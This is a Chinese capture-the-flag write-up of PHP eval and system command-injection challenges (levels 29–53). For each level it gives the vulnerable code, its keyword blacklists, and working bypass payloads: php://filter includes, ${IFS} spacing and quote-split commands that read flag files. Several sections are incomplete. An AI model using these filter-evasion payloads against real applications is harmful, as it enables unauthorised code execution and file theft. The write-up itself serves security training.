第29关-第34关

第29关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php  

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{    highlight_file(__FILE__);
}

直接:c=system("tac fl*g.php");,用特殊符表示

或者更骚的方式
image.png

第30关

1
2
3
4
5
6
7
8
error_reporting(0);  
if(isset($_GET['c'])){    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{    highlight_file(__FILE__);
}

system被禁了
我换一个函数:passthru

image.png

第31关

第32关

参数逃逸+语法结构
include属于php的语法结构,允许无空格,同时加上?>可以去除;

因此:
include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
image.png

第33关

和前面一样
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
image.png

第34关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php  

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{    highlight_file(__FILE__);
}

没啥大区别
image.png
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
image.png

第35-40关

第35关

还是没啥区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php  

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{    highlight_file(__FILE__);
}

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

image.png
image.png

第36关

第41关到46关

第46关到51关

第48关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php  

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){        system($c." >/dev/null 2>&1");
    }
}else{    highlight_file(__FILE__);

image.png

使用||进行阻断

image.png

第49关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){        system($c." >/dev/null 2>&1");
    }
}else{    highlight_file(__FILE__);
}

一开始构造tac<fl?g.php结果无反应,别人用的是tac<fla''g.php可以,开始好奇,代码也没过滤?
询问ai:
image.png

image.png

第50关

和前面差不多,就不讲了
image.png

第51关

image.png
几个常用的查看命令都被过滤了,但依旧没过滤''
所以:
c=t''ac<fl''ag.php||

第52关到第57关

第52关

有点奇怪,出题人把flag放回根目录了
image.png

使用?c=find${IFS}/${IFS}-name${IFS}fl''ag||先全局搜索一遍,得到:
image.png

然后正常读就可以

image.png

第53关

image.png

和前面一样,但是没有无回显的命令漏洞了

输入c=t''ac${IFS}fla''g.php